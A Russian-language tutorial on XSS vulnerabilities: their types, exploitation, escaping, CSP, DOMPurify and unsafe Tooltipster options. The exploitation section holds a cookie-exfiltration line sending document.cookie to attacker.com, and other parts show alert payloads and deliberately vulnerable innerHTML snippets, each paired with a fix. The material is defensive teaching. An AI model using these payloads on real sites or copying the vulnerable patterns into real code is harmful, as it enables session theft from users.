XSS уязвимости

XSS (Cross-Site Scripting) — это класс уязвимостей веб-приложений, позволяющий злоумышленнику внедрять и исполнять произвольный JavaScript-код в контексте браузера жертвы. Основная цель XSS — получить доступ к сессиям, данным пользователя или управлять интерфейсом приложения от имени жертвы.

Существует три основных типа XSS:

  1. Reflected XSS Возникает, когда вредоносный скрипт передается через URL-параметры или данные формы и сразу отображается на странице без должной фильтрации. Пример:

    <form action="/search">
      <input type="text" name="q">
    </form>

    Если сервер возвращает результат поиска с подставленным значением q без экранирования, злоумышленник может вставить <script>alert('XSS')</script>.

  2. Stored XSS Вредоносный код сохраняется на сервере (в базе данных, файлах или кэше) и автоматически отображается другим пользователям. Пример: комментарии к статье, форма обратной связи.

  3. DOM-based XSS Скрипт внедряется через манипуляции с DOM на клиентской стороне. Здесь сервер может быть безопасен, но клиентский код некорректно обрабатывает данные. Пример:

    const message = location.hash.substring(1);
    document.getElementById('output').innerHTML = message;

    Любой ввод в # части URL будет вставлен в innerHTML без экранирования, что позволяет выполнить XSS.


Механизм эксплуатации XSS

Основной принцип: внедрение кода, который браузер выполнит как часть страницы. Это может включать:

  • Кражу cookies и токенов аутентификации:

    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  • Манипуляции с DOM: изменение видимого контента, внедрение фальшивых форм, редирект на фишинговые страницы.

  • Выполнение действий от имени пользователя: отправка форм, голосование, публикация комментариев.


Защита от XSS

Экранирование данных

Любые данные, вводимые пользователем, должны проходить экранирование перед отображением на странице:

  • HTML-контекст: заменять <, >, &, ", ' на HTML-сущности.
  • Attribute-контекст: использовать кавычки и экранировать специальные символы.
  • JavaScript-контекст: использовать функции сериализации, например JSON.stringify.

Пример безопасного вывода:

function escapeHTML(str) {
  return str.replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/"/g, "&quot;")
            .replace(/'/g, "&#039;");
}

document.getElementById('output').innerHTML = escapeHTML(userInput);

Content Security Policy (CSP)

Политика CSP позволяет ограничить выполнение скриптов:

Content-Security-Policy: default-src 'self'; script-src 'self';
  • default-src 'self' запрещает загрузку ресурсов с внешних доменов.
  • script-src 'self' запрещает выполнение inline-скриптов.

Использование безопасных библиотек

При работе с динамическим содержимым следует использовать библиотеки, которые автоматизируют защиту от XSS:

  • Для React и Vue это встроенное экранирование данных.
  • Для чистого JS — утилиты вроде DOMPurify, которые безопасно очищают HTML перед вставкой.

Специфические уязвимости при работе с Tooltipster

Tooltipster — популярная библиотека для отображения всплывающих подсказок. Уязвимости XSS могут появляться при передаче данных:

  • Через content:

    $('.tooltip').tooltipster({
      content: '<img src=x oner ror=alert(1)>'
    });

    Здесь inline HTML выполнится напрямую в браузере.

  • Через AJAX-загрузку данных:

    $('.tooltip').tooltipster({
      contentAsHTML: true,
      functionBefore: function(instance, helper){
        $.get('/tooltip-data', function(data){
          instance.content(data); // Если data не экранирована
        });
      }
    });

Защита:

  • Не использовать contentAsHTML: true без экранирования.

  • Если нужно вставлять HTML, очищать его через DOMPurify:

    instance.content(DOMPurify.sanitize(data));
  • Минимизировать вставку данных напрямую из пользовательского ввода.


Советы по безопасной конфигурации Tooltipster

  1. Предпочитать текстовый контент:
$('.tooltip').tooltipster({
  content: 'Простой текст, безопасный для отображения'
});
  1. Использовать шаблонизаторы с экранированием, если необходимо HTML.

  2. Избегать прямой вставки пользовательского ввода через contentAsHTML.

  3. Проверять сторонние данные, особенно если они приходят с внешних API.

  4. Регулярно обновлять библиотеку, так как Tooltipster исправляет выявленные XSS-уязвимости в новых версиях.


Итоговые рекомендации по предотвращению XSS

  • Всегда фильтровать и экранировать пользовательский ввод.
  • Минимизировать использование inline HTML в контенте.
  • Применять CSP.
  • Использовать проверенные утилиты для очистки HTML.
  • Следить за безопасными версиями библиотек, включая Tooltipster.

Эти меры обеспечивают комплексную защиту как от Reflected, так и от Stored и DOM-based XSS в веб-приложениях.